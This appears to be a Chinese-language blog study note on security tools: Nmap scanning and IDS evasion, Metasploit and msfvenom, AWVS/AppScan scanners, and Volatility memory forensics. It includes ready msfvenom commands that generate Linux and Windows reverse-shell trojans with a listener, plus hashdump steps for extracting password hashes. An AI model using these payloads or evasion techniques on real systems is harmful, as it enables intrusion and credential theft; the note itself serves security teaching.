信息安全 day03

网络安全工具

一、Nmap的使用

1、简介

nmap全称为Network Mapper,是一款网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行的操作系统。它是网络管理员常用来评估网络系统保安的软件之一。
核心功能:
(1)主机发现
(2)端口扫描
(3)版本探测
(4)操作系统探测
(5)防火墙/IDS规避
(6)NSE脚本引擎

2、语法、主机格式、参数

  • 语法
    -nmap [scan Typy(s)] [Option] {target specification}
    “Scan Type(s)”用于指定扫描类型,
    “Options”用于指定选项,
    “target specification”用于指定扫描目标
  • 主机格式
    必须给出扫描目标参数可以是单一主机,也可以是一个子网
    128.210..
    128.210.0-255.0-255
    128.210.0.0/16
  • 参数
    -sT指定Nmap进行TCP connect()扫描
    -sS指定Nmap进行TCP SYN扫描
    -sF、-sX、-sN指定Nmap进行FIN、Xmas和Null扫描
    -sP指定Nmap进行Ping扫描
    -sU指定Nmap进行UDP扫描
    -sA指定Nmap进行TCP ACK扫描
    -sW指定Nmap对滑动窗口进行扫描
    -sR指定Nmap进行RPC扫描
    -b指定Nmap进行FTP 反弹攻击
    -P0指定Nmap在扫描之前,不必Ping目标主机
    -PT 指定Nmap在扫描之前,使用TCP确定哪些主机正在运行
    -PS指定Nmap使用TCP SYN对目标主机进行扫描
    -PI指定Nmap使用真正的Ping来扫描目标主机是否正在运行,同时还 可以对直接子网广播地址进行观察
    -PB指定Nmap使用TCP ACK和ICMP echo请求两种扫描类型并行扫描
    -O识别操作系统

3、核心功能:主机发现

原理:A主机通过某个协议问B主机是否存在,
  如果主机B进行回复,那么可能说明主机B存在。
  如果主机B没有回复,那么可能主机B不存在。
默认情况下,Nmap会发送四种不同类型数据包来探测目标主机是否在线

  • ICMP echo request
  • A TCP SYN packet to port 443
  • A TCP ACK packet to port 80
  • An ICMP timestamp request

nmap主机发现用法
-sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现。
-sn: Ping Scan 只进行主机发现,不进行端口扫描。
-Pn: 将所有指定的主机视为存活,跳过主机发现。
-PS/PA/PU/PY[portlist]: 使用TCPSYN/ACK或SCTP INIT/ECHO方式进行发现。
-PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。
-PO[protocollist]: 使用IP协议包探测对方主机是否开启。
-n/-R: -n表示不进行DNS解析;-R表示总是进行DNS解析。
–dns-servers <serv1[,serv2],…>: 指定DNS服务器。
–system-dns: 指定使用系统的DNS服务器
–traceroute: 追踪每个路由节点

4、核心功能:端口扫描

端口扫描是Nmap最基本最核心的功能,用于确定目标主机的TCP/UDP端口的开放情况。默认情况下,Nmap会扫描1000个最有可能开放的TCP端口。

nmap端口状态划分

  • open:端口是开放的。
  • closed:端口是关闭的。
  • filtered:端口被防火墙IDS/IPS屏蔽,无法确定其状态。
  • unfiltered:端口没有被屏蔽,但是否开放需要进一步确定。
  • open|filtered:端口是开放的或被屏蔽。
  • closed|filtered :端口是关闭的或被屏蔽。

-sS:TCP-SYN扫描,半开放,使用最频繁
-sT:TCP connect( )扫描,全连接,默认
-sP:ping扫描,仅发现目标主机是否存活;
-sU:UDP扫描

5、核心功能:版本、操作系统探测

原理:根据指纹特征进行匹配
-sV版本探测 注意:
不会把所有的端口探测出来,只会探测常见的端口
端口比较大的时候探测不到。如果想探测到,需要加特定的端口

-O操作系统探测是大写的欧,运行这个参数需要root权限
–osscan limit:操作系统检测限制(指定)在有希望的目标上(至少需确知该主机分别有一个open和closed的端口
–osscan guess:更积极地猜测操作系统,当Nmap无法确定所检测的操作系统时,会尽可能地提供最相近的匹配,Nmap默认进行这种匹配

6、核心功能:防火墙/IDS规避

防火墙与IDS规避为用于绕开防火墙与IDS(入侵检测系统)的检测与屏蔽,以便能够更加详细地发现目标主机的状况。Nmap提供了多种规避技巧,通常可以从两个方面考虑规避方式:
(1)数据包的变换(Packet Change)
(2)时序变换(Timing Change)
规避方法
-f; --mtu : 指定使用分片、指定数据包的MTU.
-D <decoy1,decoy2[,ME],…>: 用一组IP地址掩盖真实地址,其中ME填入自己的IP地址。
-S <IP_Address>: 伪装成其他IP地址
-e : 使用特定的网络接口
-g/–source-port : 使用指定源端口
–data-length : 填充随机数据让数据包长度达到Num。
–ip-options : 使用指定的IP选项来发送数据包。
–ttl : 设置time-to-live时间。
–spoof-mac <mac address/prefix/vendor name>: 伪装MAC地址
–badsum: 使用错误的checksum来发送数据包
规避实例
-nmap -v -F -Pn -D192.168.1.100,192.168.1.102,ME -e eth0 -g 3355 192.168.1.1
-F表示快速扫描100个端口;
-Pn表示不进行Ping扫描;
-D表示使用IP诱骗方式掩盖自己真实IP(其中ME表示自己IP);
-e eth0表示使用eth0网卡发送该数据包;
-g 3355表示自己的源端口使用3355;192.168.1.1是被扫描的目标IP地址。

7、核心功能:NSE脚本引擎

nmap的设计初衷主要考虑以下几个方面:
(1)网络发现(Network Discovery)
(2)更加复杂的版本侦测(例如skype软件)
(3)漏洞侦测(Vulnerability Detection)
(4)后门侦测(Backdoor Detection)
(5)漏洞利用(Vulnerability Exploitation)

-sC: 等价于 --script=default,使用默认类别的脚本进行扫描。
–script=: 使用某个或某类脚本进行扫描,支持通配符描述
–script-args=<n1=v1,[n2=v2,…]>: 为脚本提供默认参数
–script-args-file=filename: 使用文件来为脚本提供参数
–script-trace: 显示脚本执行过程中发送与接收的数据
–script-updatedb: 更新脚本数据库
–script-help=<Lua scripts显示脚本的帮助信息,其中部分可以逗号分隔的文件或脚本类别。
脚本的路径 :/usr/share/nmap/scrips
单个脚本的使用可以用*代替。如 nmap --script=“smb-vuln-*” 192.168.0.100

二、Burp的使用

百度搜索 burp的简单使用

三、Metasploit的使用

渗透测试框架,全称metasploit framework

1、模块

 位置 /usr/share/metasploit-framework/modules/

  • auxiliary,辅助模块,信息收集阶段
  • exploits,渗透模块,漏洞利用阶段
  • payloads,攻击荷载,在目标系统上执行的代码
  • encoders,编码模块,对payload进行编码
  • nops,空字段模块,提高payload的稳定性
  • post,后渗透模块,后渗透测试阶段

2、基本操作

  1. 启动MSF msfconsole
  2. 搜索想用的模块 search dir_scanner
  3. 使用模块 use auxiliary/scanner/http/dir_scanner
  4. 查看需要设置什么信息 show options或者info
    一般情况下,带有yes的需要设置上参数
  5. 设置参数
     set 设置局部参数
     setg设置全局参数
     unset 取消局部参数
     unsetg 取消全局参数
     get 获取局部参数
     getg 获取全局参数
  6. 开始攻击 run/exploit

3、msfvenom

msfvenom是metasploit独立有效负载生成器,是用来生成后门的软件

  • -p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义
    payload,几乎是支持全平台
  • -l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads,
    encoders, nops, all
  • -f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格
    式列表)
  • -e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,
    如果既没用-e选项也没用-b选项,则输出raw payload
  • -a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
  • -o, --out < path> 指定创建好的payload的存放位置
命令

查看所有payloads
msfvenom --list payloads
查看payload支持平台、选项,可以使用
msfvenom -p windows/meterpreter/reverse_tcp --list-options
查看所有编码器
msfvenom --list encoder
msfvenom --list命令查看的还有payloads, encoders, nops, platforms, archs, encrypt, formats

meterpreter中常用的反弹类型
  • reverse_tcp
    这是一个基于TCP的反向链接反弹shell, 使用起来很稳定
生成一个Linux下反弹shell木马:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444  -f elf -o shell

生成一个windows下反弹shell木马:
msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.159.238 lport=4444  -f exe -o  shell.exe
  • reverse_http
    •基于http方式的反向连接,在网速慢的情况下不稳定。
    •payload:/windows/meterpreter/reverse_http
  • reverse_https
    •基于https方式的反向连接,在网速慢的情况下不稳定, https如果反弹没
    有收到数据,可以将监听端口换成443试试
    •payload:/windows/meterpreter/reverse_https
  • bind_tcp
    •这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到
    attack的机器,所以在内网中经常会使用,不需要设置LHOST。
  • 使用下列命令生成木马:
    •msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o shell
metasploit实例演示
  • 生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.100 lport=4444 -f exe -o shell.exe
  • 设置监听,等待木马运行,反弹shell
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.159.238
set lport 4444
exploit

四、Appscan/awvs的使用

一、AWVS

1、简介

Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的自动化网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。它可以扫描任何可通过Web浏览器访问的和遵循HTTP/HTTPS规则的Web站点和Web应用程序。适用于任何中小型和大型企业的内联网、外延网和面向客户、雇员、厂商和其它人员的Web网站。WVS可以通过检查SQL注入攻击漏洞、XSS跨站脚本攻击漏洞等漏洞来审核Web应用程序的安全性。

2、部署

AWVS官网:https://www.acunetix.com/
环境部署:Windows或Linux均可
pull 拉取下载镜像
docker pull secfa/docker-awvs
将Docker的3443端口映射到物理机的 13443端口
docker run -it -d -p 13443:3443 secfa/docker-awvs
容器的相关信息
awvs13 username: admin@admin.com
awvs13 password: Admin123
AWVS版本:13.0.200217097
浏览器访问:https://127.0.0.1:13443/ 即可

3、工作模式

1.它将会扫描整个网站,它通过跟踪站点上的所有链接和robots.txt 实现扫描。然后WVS就会映射出站点的结构并显示每个文件的细节.
2.在上述的发现阶段或扫描过程之后,WVS就会自动地对所发现的每一个页面发动一系列的漏洞攻击, 这实质上是横拟黑客的攻击过程,这是一个自动扫描阶段。
3.在它发现漏洞之后,WVS就会在"Alerts Node (警告节点)"中报告这些漏洞. 每一个报告都包含着漏洞信息和如何修复漏洞的建议.
4. 再扫一次,它会将结果保存为文件以备曰后分析以及与以前的扫描相比较,使用报告工具,就可以创建一个专业的报告来总结这次扫描.

4、功能介绍

1.WebScanner:全站扫描,Web安全漏洞扫描
2.Site Crawler:爬虫功能,遍历站点目录结构
3.Target Finder:端口扫描,找出web服务器
4.Subdomain Scanner:子域名扫描器,利用DNS查询
5.Blind SQL Injector:盲注工具
6.HTTP Editor:http协议数据包编辑器
7.HTTP Sniffer:HTTP协议嗅探器
8.HTTP Fuzzer:模糊测试工具
9.Authentication Tester:Web认证破解工具
10.Web Srevice Scanner:Web服务扫描器
11.Web Srevice Editor:Web服务编辑器

5、特点

1.自动的客户端脚本分析器,允许对 Ajax 和 Web 2.0 应用程序进行安全性测试。
2.业内最先进且深入的 SQL 注入和跨站脚本测试
3.高级渗透测试工具,例如 HTTP Editor 和 HTTP Fuzzer
4.可视化宏记录器帮助您轻松测试 web 表格和受密码保护的区域
5.支持含有 CAPTHCA 的页面,单个开始指令和 Two Factor(双因素)验证机制
6.丰富的报告功能,包括 VISA PCI 依从性报告
7.高速的多线程扫描器轻松检索成千上万个页面
8.智能爬行程序检测 web 服务器类型和应用程序语言
9.Acunetix 检索并分析网站,包括 flash 内容、SOAP 和 AJAX
10.端口扫描 web 服务器并对在服务器上运行的网络服务执行安全检查
11.可导出网站漏洞文件

二、Appscan

AppScan,即 AppScan standard edition。其安装在 Windows 操作系统上,可以对网站等 Web 应用进行自动化的应用安全扫描和测试。

工作原理

通过搜索(爬行)发现整个 Web 应用结构
根据分析,发送修改的 HTTP Request 进行攻击尝试(扫描规则库)
通过对于 Respone 的分析验证是否存在安全漏洞

三、常见的扫描工具

awvs、appscan、nessus、天镜脆弱性扫描系统等

五、sqlmap的使用

第一种:
在url里产生的sql注入
http://127.0.0.1:6002/index.php?id=1
第二种:
http://127.0.0.1.80:5000/

六、内存取证工具

1、Volatility简介

Volatility是一款开源的,基于Python:开发的内存取证工具集,可以分析内存中的各种数据。Volatility支持对32位或64位Vnidows、Linux、Mac、Android操作系统的RAM数据进行提取与分析。

2、Linux下安装volatility工具

apt-get install volatility

3、volatility使用:

volatility-f<文件名>-profile=<配置文件><插件>[插件参数]

  • 获取-profile的参数
    使用imageinfo插件来猜测dump文件的profile值:WinXPSP2x86
    root@kali:~/quzhen#volatility-f mem.vmem imageinfo
  • 列举进程
    root@kali:~/quzhen#volatility -f mem.vmem -profile=WinXPSP2x86 pslist
  • 列举缓存在内存的注册表:
    olatility -f mem.vmem -profile=WinXPSP2x86 hivelist
  • hivedump打印出注册表中的数据:
    volatility-f mem.vmem -profile:=WinXPSP2x86 hivedump -o注册表的virtual地址
  • 获取SAM表中的用户:
    volatility -f mem.vmem -profile=WinXPSP2x86 printkey -K “SAM\Domains\Account\Users\Names”
  • 获取最后登录系统的账户:
    volatility -f mem.vmem -profile=WinXPSP2x86 printkey -K
    “SOFTWARE\Microsoft\Windows
    NT\CurrentVersion\Winlogon”
  • 提取出内存中记录的当时正在运行的程序有哪些,运行过多少次,最后一次运行的时间等信息
    volatility -f mem.vmem -profile=WinXPSP2x86 userassist
  • 将内存中的某个进程数据以dmp的格式保存出来。
    volatility-f mem.vmem -profile=WinXPSP2x86 -p [PID] -D [dump出的文件保存的目录]
  • 提取内存中保留的cmd命令使用情况。
    volatility -f mem.vmem -profile=WinXPSP2x86 cmdscan
  • 获取到当时的网络连接情况。
    volatility -f mem.vmem -profile=WinXPSP2x86 netscan
  • 获取E浏览器的使用情况。
    volatility -f mem.vmem -profile=WinXPSP2x86 iehistory
  • 获取内存中的系统密码,我们可以使用hashdump将它提取出来。
    volatility-f mem.vmem -profile=WinXPSP2x86 hashdump -y(注册表system的virtual地址)
    -s(SAM的virtual地址)
    如 volatility -f mem.vmem -profile=WinXPSP2x86 hashdump -y Oxe1035b60 -s Oxe16aab60
  • 最大程度上将内存中的信息提取出来,那么你可以使用timeliner这个插件。它会从多个位置来收集系统的活动信息
    volatility -f mem.vmem -profile=WinXPSP2x86 timeliner
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值